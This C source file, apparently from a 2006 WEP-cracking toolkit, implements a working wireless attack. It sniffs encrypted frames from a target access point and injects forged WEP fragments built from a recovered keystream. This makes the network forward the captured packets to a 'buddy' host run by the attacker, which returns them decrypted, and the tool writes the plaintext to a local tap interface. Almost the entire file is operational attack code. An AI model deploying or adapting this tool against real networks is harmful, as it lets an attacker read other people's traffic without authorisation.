1 /*-
2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 *
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24 * SUCH DAMAGE.
25 */
26 #include <sys/time.h>
27 #include <sys/types.h>
28 #include <sys/socket.h>
29 #include <sys/uio.h>
30 #include <netinet/in.h>
31 #include <arpa/inet.h>
32 #include <netinet/in_systm.h>
33 #include <netinet/ip.h>
34 #include <string.h>
35 #include <stdio.h>
36 #include <stdlib.h>
37 #include <unistd.h>
38 #include <fcntl.h>
39 #include <err.h>
40 #include <assert.h>
41 #include <zlib.h>
42 #include "w00t.h"
43
44 enum {
45 S_START = 0,
46 S_WAIT_ACK,
47 S_WAIT_BUDDY
48 };
49
50 struct queue {
51 struct ieee80211_frame *wh;
52 int len;
53 int id;
54
55 char *buf;
56 int live;
57 struct queue *next;
58 };
59
60 struct params {
61 int rx;
62 int tx;
63
64 int s;
65 int port;
66
67 int tap;
68
69 char mac[6];
70 char ap[6];
71 char rtr[6];
72 struct in_addr src;
73 struct in_addr dst;
74
75 char prga[2048];
76 int prga_len;
77 char iv[3];
78 char *fname;
79
80 int state;
81
82 struct queue *q;
83
84 char packet[2048];
85 int packet_len;
86 struct timeval last;
87 int id;
88 int data_try;
89
90 int seq;
91 int frag;
92
93 char buddy_data[2048];
94 int buddy_got;
95 };
96
load_prga(struct params * p)97 void load_prga(struct params *p)
98 {
99 int fd;
100 int rd;
101
102 fd = open(p->fname, O_RDONLY);
103 if (fd == -1) {
104 p->prga_len = 0;
105 return;
106 }
107
108 rd = read(fd, p->iv, 3);
109 if (rd == -1)
110 err(1, "read()");
111 if (rd != 3) {
112 printf("Short read\n");
113 exit(1);
114 }
115
116 rd = read(fd, p->prga, sizeof(p->prga));
117 if (rd == -1)
118 err(1, "read()");
119 p->prga_len = rd;
120
121 printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
122 close(fd);
123 }
124
wanted(struct params * p,struct ieee80211_frame * wh,int len)125 int wanted(struct params *p, struct ieee80211_frame *wh, int len)
126 {
127 char *bssid, *sa;
128
129 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
130 bssid = wh->i_addr1;
131 sa = wh->i_addr2;
132 }
133 else {
134 bssid = wh->i_addr2;
135 sa = wh->i_addr3;
136 }
137
138 if (memcmp(bssid, p->ap, 6) != 0)
139 return 0;
140
141 if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
142 printf("Got non WEP packet...\n");
143 return 0;
144 }
145
146 /* my own shit */
147 if (memcmp(p->mac, sa, 6) == 0)
148 return 0;
149
150 return 1;
151 }
152
enque(struct params * p,char ** buf,struct ieee80211_frame * wh,int len)153 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
154 {
155 struct queue *q = p->q;
156 int qlen = 0;
157 char *ret = NULL;
158 struct queue *last = NULL;
159
160 /* find a slot */
161 while (q) {
162 if (q->live)
163 qlen++;
164 else {
165 /* recycle */
166 ret = q->buf;
167 break;
168 }
169
170 last = q;
171 q = q->next;
172 }
173
174 /* need to create slot */
175 if (!q) {
176 q = (struct queue*) malloc(sizeof(*q));
177 if (!q)
178 err(1, "malloc()");
179 memset(q, 0, sizeof(*q));
180
181 /* insert */
182 if (!p->q)
183 p->q = q;
184 else {
185 assert(last);
186 last->next = q;
187 }
188 }
189
190 q->live = 1;
191 q->buf = *buf;
192 q->len = len;
193 q->wh = wh;
194 q->id = p->id++;
195
196 qlen++;
197
198 if (qlen > 5)
199 printf("Enque. Size: %d\n", qlen);
200 *buf = ret;
201 }
202
203 /********** RIPPED
204 ************/
in_cksum(unsigned short * ptr,int nbytes)205 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
206 register long sum;
207 u_short oddbyte;
208 register u_short answer;
209
210 sum = 0;
211 while (nbytes > 1)
212 {
213 sum += *ptr++;
214 nbytes -= 2;
215 }
216
217 if (nbytes == 1)
218 {
219 oddbyte = 0;
220 *((u_char *) & oddbyte) = *(u_char *) ptr;
221 sum += oddbyte;
222 }
223
224 sum = (sum >> 16) + (sum & 0xffff);
225 sum += (sum >> 16);
226 answer = ~sum;
227 return (answer);
228 }
229 /**************
230 ************/
231
send_packet(struct params * p)232 void send_packet(struct params *p)
233 {
234 int rc;
235 struct ieee80211_frame *wh;
236
237 rc = inject(p->tx, p->packet, p->packet_len);
238 if (rc == -1)
239 err(1, "inject()");
240 if (rc != p->packet_len) {
241 printf("Wrote %d/%d\n", rc, p->packet_len);
242 exit(1);
243 }
244
245 p->data_try++;
246 wh = (struct ieee80211_frame*) p->packet;
247 wh->i_fc[1] |= IEEE80211_FC1_RETRY;
248
249 if (gettimeofday(&p->last, NULL) == -1)
250 err(1, "gettimeofday()");
251 }
252
send_header(struct params * p,struct queue * q)253 void send_header(struct params *p, struct queue *q)
254 {
255 struct ieee80211_frame *wh;
256 short *pseq;
257 char *ptr;
258 struct ip *ih;
259 int len, i;
260 uLong crc = crc32(0L, Z_NULL, 0);
261 uLong *pcrc;
262
263 /* 802.11 */
264 memset(p->packet, 0, sizeof(p->packet));
265 wh = (struct ieee80211_frame *) p->packet;
266 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
267 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
268 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
269 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
270 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
271
272 wh->i_dur[0] = 0x69;
273
274 memcpy(wh->i_addr1, p->ap, 6);
275 memcpy(wh->i_addr2, p->mac, 6);
276 memcpy(wh->i_addr3, p->rtr, 6);
277
278 pseq = (short*) wh->i_seq;
279 p->frag = 0;
280 p->seq++;
281 *pseq = seqfn(p->seq, p->frag++);
282
283 /* IV */
284 ptr = (char*) (wh+1);
285 memcpy(ptr, p->iv, 3);
286 ptr += 4;
287
288 /* LLC/SNAP */
289 memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8);
290
291 /* IP */
292 ih = (struct ip*) (ptr+8);
293 ih->ip_v = 4;
294 ih->ip_hl = 5;
295 len = q->len - sizeof(*wh) - 4 - 4 + 20;
296 ih->ip_len = htons(len);
297 ih->ip_id = htons(q->id);
298 ih->ip_ttl = 69;
299 ih->ip_p = 0;
300 ih->ip_src.s_addr = p->src.s_addr;
301 ih->ip_dst.s_addr = p->dst.s_addr;
302 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
303
304 /* ICV */
305 len = 8 + 20;
306 crc = crc32(crc, ptr, len);
307 pcrc = (uLong*) (ptr+len);
308 *pcrc = crc;
309
310 /* wepify */
311 for (i = 0; i < len + 4; i++)
312 ptr[i] ^= p->prga[i];
313
314 p->packet_len = sizeof(*wh) + 4 + len + 4;
315 p->data_try = 0;
316 send_packet(p);
317 }
318
send_queue(struct params * p)319 void send_queue(struct params *p)
320 {
321 struct queue *q = p->q;
322
323 assert(q);
324 assert(q->live);
325
326 send_header(p, q);
327 p->state = S_WAIT_ACK;
328 }
329
send_data(struct params * p)330 void send_data(struct params *p)
331 {
332 struct ieee80211_frame *wh;
333 short *seq;
334 struct queue *q = p->q;
335 char *dst, *src;
336 int len;
337
338 assert(q);
339
340 /* 802.11 */
341 memset(p->packet, 0, sizeof(p->packet));
342 wh = (struct ieee80211_frame*) p->packet;
343 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
344 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
345 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
346 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
347
348 wh->i_dur[0] = 0x69;
349
350 memcpy(wh->i_addr1, p->ap, 6);
351 memcpy(wh->i_addr2, p->mac, 6);
352 memcpy(wh->i_addr3, p->rtr, 6);
353
354 seq = (short*) wh->i_seq;
355 *seq = seqfn(p->seq, p->frag++);
356
357 /* data */
358 dst = (char*) (wh+1);
359 src = (char*) (q->wh+1);
360 len = q->len - sizeof(*wh);
361 memcpy(dst, src, len);
362
363 p->packet_len = sizeof(*wh) + len;
364 p->data_try = 0;
365 send_packet(p);
366 }
367
got_ack(struct params * p)368 void got_ack(struct params *p)
369 {
370 switch (p->frag) {
371 case 1:
372 send_data(p);
373 break;
374
375 case 2:
376 p->state = S_WAIT_BUDDY;
377 p->data_try = 69;
378 break;
379 }
380 }
381
read_wifi(struct params * p)382 void read_wifi(struct params *p)
383 {
384 static char *buf = 0;
385 static int buflen = 4096;
386 struct ieee80211_frame *wh;
387 int rc;
388
389 if (!buf) {
390 buf = (char*) malloc(buflen);
391 if (!buf)
392 err(1, "malloc()");
393 }
394
395 rc = sniff(p->rx, buf, buflen);
396 if (rc == -1)
397 err(1, "sniff()");
398
399 wh = get_wifi(buf, &rc);
400 if (!wh)
401 return;
402
403 /* acks */
404 if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) &&
405 (memcmp(p->mac, wh->i_addr1, 6) == 0)) {
406 got_ack(p);
407 return;
408 }
409
410 /* data */
411 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
412 IEEE80211_FC0_SUBTYPE_DATA)) {
413 if (!wanted(p, wh, rc))
414 return;
415
416 enque(p, &buf, wh, rc);
417 if (p->state == S_START)
418 send_queue(p);
419 return;
420 }
421 }
422
connect_buddy(struct params * p)423 int connect_buddy(struct params *p)
424 {
425 struct sockaddr_in s_in;
426
427 memset(&s_in, 0, sizeof(s_in));
428 s_in.sin_family = PF_INET;
429 s_in.sin_port = htons(p->port);
430 s_in.sin_addr.s_addr = p->dst.s_addr;
431
432 if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
433 return -1;
434
435 if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
436 return -1;
437
438 return 0;
439 }
440
buddy_reset(struct params * p)441 void buddy_reset(struct params *p)
442 {
443 p->buddy_got = 0;
444
445 if (connect_buddy(p) == -1)
446 err(1, "connect_buddy()");
447 }
448
buddy_get(struct params * p,int len)449 int buddy_get(struct params *p, int len)
450 {
451 int rd;
452
453 rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0);
454 if (rd <= 0) {
455 buddy_reset(p);
456 return 0;
457 }
458
459 p->buddy_got += rd;
460 return rd == len;
461 }
462
read_buddy_head(struct params * p)463 void read_buddy_head(struct params *p)
464 {
465 int rem;
466
467 rem = 4 - p->buddy_got;
468
469 if (!buddy_get(p, rem))
470 return;
471 }
472
read_buddy_data(struct params * p)473 void read_buddy_data(struct params *p)
474 {
475 unsigned short *ptr = (unsigned short*) p->buddy_data;
476 int id, len, rem;
477 struct queue *q = p->q;
478 struct queue *last = p->q;
479 char mac[12];
480 struct iovec iov[2];
481
482 id = ntohs(*ptr++);
483 len = ntohs(*ptr++);
484
485 rem = len + 4 - p->buddy_got;
486
487 assert(rem > 0);
488 if (!buddy_get(p, rem))
489 return;
490
491 /* w00t, got it */
492 #if 0
493 printf("id=%d len=%d\n", id, len);
494 #endif
495 p->buddy_got = 0;
496
497 /* feedback loop bullshit */
498 if (!q)
499 return;
500 if (!q->live)
501 return;
502
503 /* sanity chex */
504 if (q->id != id) {
505 printf("Diff ID\n");
506 return;
507 }
508
509 rem = q->len - sizeof(*q->wh) - 4 - 4;
510 if (rem != len) {
511 printf("Diff len\n");
512 return;
513 }
514
515 /* tap */
516 if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
517 memcpy(mac, q->wh->i_addr3, 6);
518 memcpy(&mac[6], q->wh->i_addr2, 6);
519 } else {
520 memcpy(mac, q->wh->i_addr1, 6);
521 memcpy(&mac[6], q->wh->i_addr3, 6);
522 }
523 iov[0].iov_base = mac;
524 iov[0].iov_len = sizeof(mac);
525 iov[1].iov_base = (char*)ptr + 8 - 2;
526 iov[1].iov_len = len - 8 + 2;
527
528 rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec));
529 if (rem == -1)
530 err(1, "writev()");
531 if (rem != (14+(len-8))) {
532 printf("Short write %d\n", rem);
533 exit(1);
534 }
535
536 /* deque */
537 q->live = 0;
538 if (q->next) {
539
540 p->q = q->next;
541
542 while (last) {
543 if (!last->next) {
544 last->next = q;
545 q->next = 0;
546 break;
547 }
548 last = last->next;
549 }
550 }
551
552 /* drain queue */
553 p->state = S_START;
554 if (p->q->live)
555 send_queue(p);
556 }
557
read_buddy(struct params * p)558 void read_buddy(struct params *p)
559 {
560 if (p->buddy_got < 4)
561 read_buddy_head(p);
562 else
563 read_buddy_data(p);
564 }
565
own(struct params * p)566 void own(struct params *p)
567 {
568 struct timeval tv;
569 struct timeval *to = NULL;
570 fd_set fds;
571 int max;
572 int tout_ack = 10*1000;
573 int tout_buddy = 2*1000*1000;
574 int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack;
575
576 if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) {
577 int el;
578
579 /* check timeout */
580 if (gettimeofday(&tv, NULL) == -1)
581 err(1, "gettimeofday()");
582
583 el = elapsed(&p->last, &tv);
584
585 /* timeout */
586 if (el >= tout) {
587 if (p->data_try > 3) {
588 p->state = S_START;
589 return;
590 } else {
591 send_packet(p);
592 el = 0;
593 }
594 }
595 el = tout - el;
596 tv.tv_sec = el/1000/1000;
597 tv.tv_usec = el - tv.tv_sec*1000*1000;
598 to = &tv;
599 }
600
601 FD_ZERO(&fds);
602 FD_SET(p->rx, &fds);
603 FD_SET(p->s, &fds);
604 max = (p->rx > p->s) ? p->rx : p->s;
605
606 if (select(max+1, &fds, NULL, NULL, to) == -1)
607 err(1, "select()");
608
609 if (FD_ISSET(p->rx, &fds))
610 read_wifi(p);
611 if (FD_ISSET(p->s, &fds))
612 read_buddy(p);
613 }
614
usage(char * name)615 void usage(char *name)
616 {
617 printf("Usage %s <opts>\n"
618 "-h\thelp\n"
619 "-d\t<buddy ip>\n"
620 "-p\t<port>\n"
621 "-b\t<bssid>\n"
622 "-t\t<tap>\n"
623 "-r\t<rtr>\n"
624 "-s\t<source ip>\n"
625 , name);
626 exit(1);
627 }
628
main(int argc,char * argv[])629 int main(int argc, char *argv[])
630 {
631 struct params p;
632 char *iface = "wlan0";
633 char *tap = "tap0";
634 int ch;
635
636 memset(&p, 0, sizeof(p));
637 memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
638 p.fname = "prga.log";
639 p.seq = getpid();
640
641 while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) {
642 switch (ch) {
643 case 's':
644 if (!inet_aton(optarg, &p.src)) {
645 printf("Can't parse src IP\n");
646 exit(1);
647 }
648 break;
649
650 case 'r':
651 if (str2mac(p.rtr, optarg) == -1) {
652 printf("Can't parse rtr MAC\n");
653 exit(1);
654 }
655 break;
656
657 case 't':
658 tap = optarg;
659 break;
660
661 case 'b':
662 if (str2mac(p.ap, optarg) == -1) {
663 printf("Can't parse BSSID\n");
664 exit(1);
665 }
666 break;
667
668 case 'd':
669 if (!inet_aton(optarg, &p.dst)) {
670 printf("Can't parse IP\n");
671 exit(1);
672 }
673 break;
674
675 case 'p':
676 p.port = atoi(optarg);
677 break;
678
679 case 'h':
680 default:
681 usage(argv[0]);
682 break;
683 }
684 }
685
686 load_prga(&p);
687 assert(p.prga_len > 60);
688
689 if ((p.rx = open_rx(iface)) == -1)
690 err(1, "open_rx()");
691 if ((p.tx = open_tx(iface)) == -1)
692 err(1, "open_tx()");
693
694 if ((p.tap = open_tap(tap)) == -1)
695 err(1, "open_tap()");
696 if (set_iface_mac(tap, p.mac) == -1)
697 err(1, "set_iface_mac()");
698
699 if (connect_buddy(&p) == -1)
700 err(1, "connect_buddy()");
701
702 p.state = S_START;
703 while (1)
704 own(&p);
705
706 exit(0);
707 }
708